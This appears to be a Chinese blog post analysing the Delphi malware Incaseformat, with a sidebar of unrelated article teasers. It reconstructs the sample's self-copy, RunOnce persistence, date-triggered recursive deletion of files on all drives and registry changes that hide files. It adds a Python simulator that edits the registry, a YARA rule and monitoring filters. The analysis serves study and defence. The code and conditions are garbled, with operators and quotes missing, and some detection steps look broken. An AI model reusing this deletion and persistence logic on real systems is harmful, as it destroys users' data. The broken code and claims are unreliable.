Delphi 恶意软件分析实战:Incaseformat 样本 4 个定时器函数逆向与行为复现

发布时间:2026/7/8 19:59:02

Delphi 恶意软件分析实战:Incaseformat 样本 4 个定时器函数逆向与行为复现
Delphi 恶意软件逆向工程实战Incaseformat 定时器机制与行为模拟1. 逆向分析环境搭建与工具链配置在开始分析Incaseformat样本之前我们需要准备专业的逆向工程环境。对于Delphi编写的恶意软件常规的PE分析工具链需要特殊配置才能发挥最大效用。以下是推荐的实验环境搭建步骤基础工具集安装# IDA Pro 7.7 with Delphi analysis plugins # DeDe 3.50 for Delphi逆向专用工具 # PEiD 0.95 查壳工具需更新特征库 # x64dbg 最新版动态调试器 # Process Monitor 行为监控工具Delphi逆向专用配置在IDA中加载Delphi专用的FLIRT签名库dclrtl.sig/delphi.sig配置DeDe导出MAP文件的路径映射规则安装IDRInteractive Delphi Reconstructor辅助分析VCL组件关键工具对比表工具名称适用场景优势局限性IDA Pro静态反编译强大的反编译能力Delphi库函数识别较差DeDeDelphi专项分析自动识别VCL组件对新版Delphi支持有限IDRRTTI重建还原类结构需要调试信息PEiD快速查壳轻量级快速扫描特征库需手动更新提示分析Delphi程序时务必先通过DeDe生成MAP文件再导入IDA可显著提升函数识别准确率。典型的Delphi程序入口点特征为调用System.InitUnits初始化单元。2. Incaseformat样本静态结构解析通过PEiD确认样本未加壳后我们首先进行静态结构分析。该样本的典型特征如下基础信息{ FileType: PE32 executable (GUI), Compiler: Delphi 6.0-7.0, ImportTable: [ kernel32.dll::CopyFileA, GetDriveTypeA, advapi32.dll::RegSetValueExA, shell32.dll::ShellExecuteA ], Sections: [ {.text: Executable code}, {.data: Initialized data}, {.rsrc: Resource data} ] }Delphi特有结构VCL表单识别通过DeDe可识别出主表单TForm1及其关联的4个定时器组件RTTI信息样本保留了部分运行时类型信息有助于还原类方法调用关系事件处理函数典型的FormCreate和TimerXTimer事件处理函数结构关键函数定位技巧// 典型的Delphi事件处理函数特征 void __fastcall TForm1::Timer1Timer(TObject *Sender) { // 恶意代码逻辑 } // 通过交叉引用查找定时器设置代码 v3 GetTickCount(); SetTimer(hWnd, 1, v3 5000, (TIMERPROC)sub_404ABC);3. 定时器函数逆向与行为解析3.1 FormCreate初始化例程样本执行流程始于FormCreate函数其主要完成三项恶意操作文件自复制push offset Dest ; C:\\windows\\tsay.exe push offset Source ; 当前执行路径 call ds:CopyFileA注册表持久化reg_path SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce reg_value msfsa C:\\windows\\tsay.exe RegSetValueExA(HKEY_LOCAL_MACHINE, reg_path, 0, REG_SZ, reg_value)副本链创建if (strcmp(current_exe, tsay.exe) 0) { CopyFileA(tsay.exe, C:\\windows\\ttry.exe, 1); ShellExecuteA(0, 0, ttry.exe, 0, 0, 0); }3.2 Timer1Timer磁盘枚举功能第一个定时器主要实现磁盘驱动器枚举功能行为逻辑流程图调用hpw_getdisksize检测磁盘存在性使用GetDriveTypeA过滤可移动/固定磁盘将有效盘符存入TStringList对象关键代码还原procedure TForm1.hpw_disk_type; var Drive: Char; begin for Drive : C to Z do if hpw_getdisksize(Drive) 0 then if GetDriveType(PChar(Drive :\)) in [DRIVE_REMOVABLE, DRIVE_FIXED] then DriveList.Add(Drive); end;3.3 Timer2Timer文件删除逻辑这是样本最具破坏性的功能模块其执行流程如下日期判断机制# 触发条件年份2009 且 月份3 且 日期∈[1,10,21,29] if (year 2009) and (month 3) and (day in [1,10,21,29]): delete_files()递归删除算法void hpw_delete(char drive) { sprintf(path, %c:\\*.*, drive); hFind FindFirstFile(path, findData); while (FindNextFile(hFind, findData)) { if (!strcmp(findData.cFileName, .) || !strcmp(findData.cFileName, ..)) continue; if (findData.dwFileAttributes FILE_ATTRIBUTE_DIRECTORY) hpw_delete(drive \\ findData.cFileName); else DeleteFile(drive \\ findData.cFileName); } RemoveDirectory(drive); }注意该函数会跳过C盘处理这是样本的自我保护机制3.4 Timer3Timer注册表篡改此定时器专门修改系统关键注册表项修改项列表隐藏已知文件扩展名HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt 1隐藏系统文件HKCU\...\Advanced\Hidden 2禁用显示隐藏文件选项HKLM\...\SHOWALL\CheckedValue 0注册表操作代码特征mov edx, 80000001h ; HKEY_CURRENT_USER call TRegistry.SetRootKey mov edx, offset subkey call TRegistry.OpenKey mov edx, 1 mov ecx, offset value_name call TRegistry.WriteInteger3.5 Timer4Timer日志文件生成最后一个定时器在受害磁盘根目录创建标记文件def create_log(drives): for drive in drives: with open(f{drive}:\\incaseformat.log, wb) as f: f.write(bYour files have been deleted...)4. 动态行为模拟与验证4.1 Python行为模拟脚本基于逆向分析结果我们可以编写模拟脚本复现核心恶意行为import os import shutil import winreg from datetime import datetime class IncaseformatSimulator: def __init__(self): self.drives [] self.log_paths [] def enumerate_drives(self): 模拟Timer1功能枚举磁盘 for drive in range(ord(C), ord(Z)1): drive chr(drive) if os.path.exists(f{drive}:\\): self.drives.append(drive) return self.drives def check_trigger_date(self): 模拟Timer2日期判断逻辑 now datetime.now() return (now.year 2009 and now.month 3 and now.day in [1, 10, 21, 29]) def simulate_deletion(self, test_modeTrue): 模拟文件删除行为安全模式 for drive in self.drives: if drive C: # 跳过C盘 continue root f{drive}:\\TEST # 安全测试路径 os.makedirs(root, exist_okTrue) # 创建测试文件 with open(f{root}\\test.txt, w) as f: f.write(This is a test file) # 模拟删除 if not test_mode: shutil.rmtree(root) self.log_paths.append(f{drive}:\\incaseformat.log) def modify_registry(self): 模拟注册表修改 try: key winreg.OpenKey( winreg.HKEY_CURRENT_USER, Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced, 0, winreg.KEY_WRITE) winreg.SetValueEx(key, Hidden, 0, winreg.REG_DWORD, 2) winreg.CloseKey(key) except Exception as e: print(fRegistry modification failed: {e}) def create_log_files(self): 创建日志标记文件 for path in self.log_paths: with open(path, w) as f: f.write(SIMULATION: Files would be deleted here)4.2 行为监控技巧使用Process Monitor配置过滤规则可有效捕获样本行为进程创建监控Operation: Process Create Path: tsay.exe OR ttry.exe文件操作监控Operation: WriteFile OR DeleteFile Path: *.log OR *\windows\tsay.exe注册表监控Operation: RegSetValue Path: *RunOnce* OR *Explorer\\Advanced*5. 防御策略与检测方案5.1 特征检测规则YARA规则示例rule Incaseformat_Malware { meta: description Detects Incaseformat malware variants author MalwareAnalyst strings: $delphi1 TForm1 wide $delphi2 Timer1Timer wide $str1 C:\\windows\\tsay.exe wide $str2 incaseformat.log wide $api1 GetDriveTypeA $api2 ShellExecuteA condition: uint16(0) 0x5A4D and 3 of ($str*) and all of ($api*) }5.2 行为阻断建议文件系统防护监控%SystemRoot%目录下的tsay.exe/ttry.exe创建拦截非系统进程对根目录的批量删除操作注册表防护[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced] Hiddendword:00000001 HideFileExtdword:00000000定时器检测# 检测可疑定时器设置 Get-WmiObject -Query SELECT * FROM __TimerEvent WHERE TimerId LIKE %incaseformat%6. 扩展分析与研究方向对于希望深入研究的分析师建议从以下方向扩展变种对比分析使用BinDiff比较不同版本的IMSecsPerDay全局变量差异分析火绒报告中提到的2009 vs 2014变种关键区别传播途径追踪通过VirusTotal检索关联样本分析可能的初始感染载体钓鱼邮件、漏洞利用等自动化分析增强# 使用CAPE沙箱进行自动化行为分析 from cape.core import Cape cape Cape() task_id cape.submit_sample(incaseformat.exe) report cape.get_report(task_id)在实际分析过程中建议在隔离环境中使用以下命令获取样本行为日志procmon.exe /AcceptEula /BackingFile log.pml /Quiet

相关新闻

JConsole 远程监控实战:3步配置 JMX 端口 9999,解决防火墙与认证问题

JConsole 远程监控实战:3步配置 JMX 端口 9999,解决防火墙与认证问题

2026/7/8 19:48:58

JConsole 远程监控实战:3步配置 JMX 端口 9999,解决防火墙与认证问题在分布式系统架构中,Java应用的性能监控如同给飞机安装黑匣子,而JConsole就是那个能实时读取飞行数据的仪表盘。本文将带您穿越防火墙与认证的迷雾,…

免费无限量Agnes API,Claude平替轻松上手

免费无限量Agnes API,Claude平替轻松上手

2026/7/8 19:48:58

自从分享了好几个免费的token来源后,大家讨论的很激烈,好多人反馈还是不够用,这次给大家分享一个量大管饱不限额的免费token,不用绑卡、不用充值直接就能用,这就是本次要介绍的模型--agnes一、Agnes 是谁?A…

OpenCV核心API实战指南与性能优化

OpenCV核心API实战指南与性能优化

2026/7/8 19:48:58

1. OpenCV核心API全景解析OpenCV作为计算机视觉领域的瑞士军刀,其API设计兼顾了高效性与易用性。在实战中,我习惯将常用API分为六个功能模块:1.1 图像基础操作APIcv2.imread()是每个CV工程师的起点,但很多人不知道它的第二个flags…

堡垒机运维Windows Server 2012 R2:远程桌面CAL报错的2种根源与规避策略

堡垒机运维Windows Server 2012 R2:远程桌面CAL报错的2种根源与规避策略

2026/7/8 21:19:05

堡垒机环境下Windows Server 2012 R2远程桌面CAL报错的深度解析与长效治理方案在混合云架构日益普及的今天,企业级用户通过堡垒机管理Windows Server的场景已成为常态。但当遭遇"Remote Desktop Service CALs Request Failed"报错时,许多运维团…

LinkSwift网盘直链下载助手:2025年浏览器脚本终极指南

LinkSwift网盘直链下载助手:2025年浏览器脚本终极指南

2026/7/8 21:19:05

LinkSwift网盘直链下载助手:2025年浏览器脚本终极指南 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘 / 中国移动云盘 / 天翼…

微PE工具箱 v2.3 制作指南:3步完成U盘启动盘,兼容UEFI/Legacy双模式

微PE工具箱 v2.3 制作指南:3步完成U盘启动盘,兼容UEFI/Legacy双模式

2026/7/8 21:19:05

微PE工具箱v2.3终极实战手册:三分钟打造全兼容系统维护U盘 在电脑维护领域,一个可靠的PE启动盘就像数字世界的瑞士军刀。当系统崩溃、病毒入侵或需要重装时,它能瞬间将普通U盘变身为专业维修站。微PE工具箱v2.3以其纯净无捆绑和强大的兼容性…

MCP协议、熔断器与OAuth——Agent接入外部世界的工程方案

MCP协议、熔断器与OAuth——Agent接入外部世界的工程方案

2026/7/8 21:19:05

MCP协议、熔断器与OAuth——Agent接入外部世界的工程方案《Claude Code 架构解密》精读笔记 第15篇 覆盖章节:第9章后半(9.6-9.12, p.237-251) 主题:8种MCP传输适配、分级熔断连接缓存、OAuth/XAA认证状态机、分区批处理编排、插…

MA12070与PIC18F86J50在音频系统开发中的应用

MA12070与PIC18F86J50在音频系统开发中的应用

2026/7/8 21:19:05

1. 项目概述:MA12070与PIC18F86J50的黄金组合在音频系统开发领域,选择合适的功放芯片和微控制器是决定系统性能的关键。MA12070作为D类音频功放芯片的代表,与PIC18F86J50这款高性能8位MCU的结合,为开发者提供了一个极具性价比的解…

影刀RPA Excel模板创建:标准报表模板复用

影刀RPA Excel模板创建:标准报表模板复用

2026/7/8 21:09:05

影刀RPA Excel模板创建:标准报表模板复用 作者:林焱 什么情况用什么 每周生成格式一样的周报、每月生成结构一样的月报——每次从零开始搭表格太浪费时间。在影刀RPA里可以先创建一个标准模板文件,然后每次只填充数据,格式、公式…

解锁AMD Ryzen处理器深层性能:SMU Debug Tool完全指南

解锁AMD Ryzen处理器深层性能:SMU Debug Tool完全指南

2026/7/8 0:44:47

解锁AMD Ryzen处理器深层性能:SMU Debug Tool完全指南 【免费下载链接】SMUDebugTool A dedicated tool to help write/read various parameters of Ryzen-based systems, such as manual overclock, SMU, PCI, CPUID, MSR and Power Table. 项目地址: https://gi…

6个月转型AI工程师:实战路径与核心技能

6个月转型AI工程师:实战路径与核心技能

2026/7/8 6:29:42

1. 项目概述:6个月转型AI工程师的可行性路径在2023年大模型技术爆发的背景下,AI工程师岗位需求同比增长217%(LinkedIn数据)。不同于传统算法工程师需要3-5年培养周期,现代AI工程师更侧重工程化落地能力。我在硅谷科技公…

YOLOv5模型剪枝与量化实战:边缘设备部署优化

YOLOv5模型剪枝与量化实战:边缘设备部署优化

2026/7/8 14:04:34

1. 项目背景与核心价值在计算机视觉领域,YOLOv5因其出色的实时检测性能成为工业界宠儿。但当我们尝试将其部署到边缘设备(如树莓派、Jetson Nano或手机终端)时,立刻会遇到两个致命问题:模型体积庞大(原始YO…

Qwen Code+Obsidian构建可执行的AI时代认知操作系统

Qwen Code+Obsidian构建可执行的AI时代认知操作系统

2026/7/8 0:07:15

1. 项目概述:这不是又一个笔记软件教程,而是一套可复用的“认知操作系统”搭建逻辑你有没有试过,在读完Andrej Karpathy那篇著名的《Software 2.0》之后,满脑子都是“神经网络即代码”的震撼,但合上网页,打…

校园服饰细分赛道测算程序,学生平价国风,机能穿搭市场规模预估。

校园服饰细分赛道测算程序,学生平价国风,机能穿搭市场规模预估。

2026/7/8 0:07:15

校园服饰细分赛道测算程序(Python)——学生平价国风 & 机能穿搭市场规模预估(TAM / SAM / SOM)一、实际应用场景描述(真实业务抽象)在《时尚产业与品牌创新》课程中,细分市场切入&#xff0…

Visual C++运行库完整解决方案:告别软件兼容性问题

Visual C++运行库完整解决方案:告别软件兼容性问题

2026/7/8 0:07:15

Visual C运行库完整解决方案:告别软件兼容性问题 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist 你是否曾为打开游戏时弹出的"DLL缺失"错误…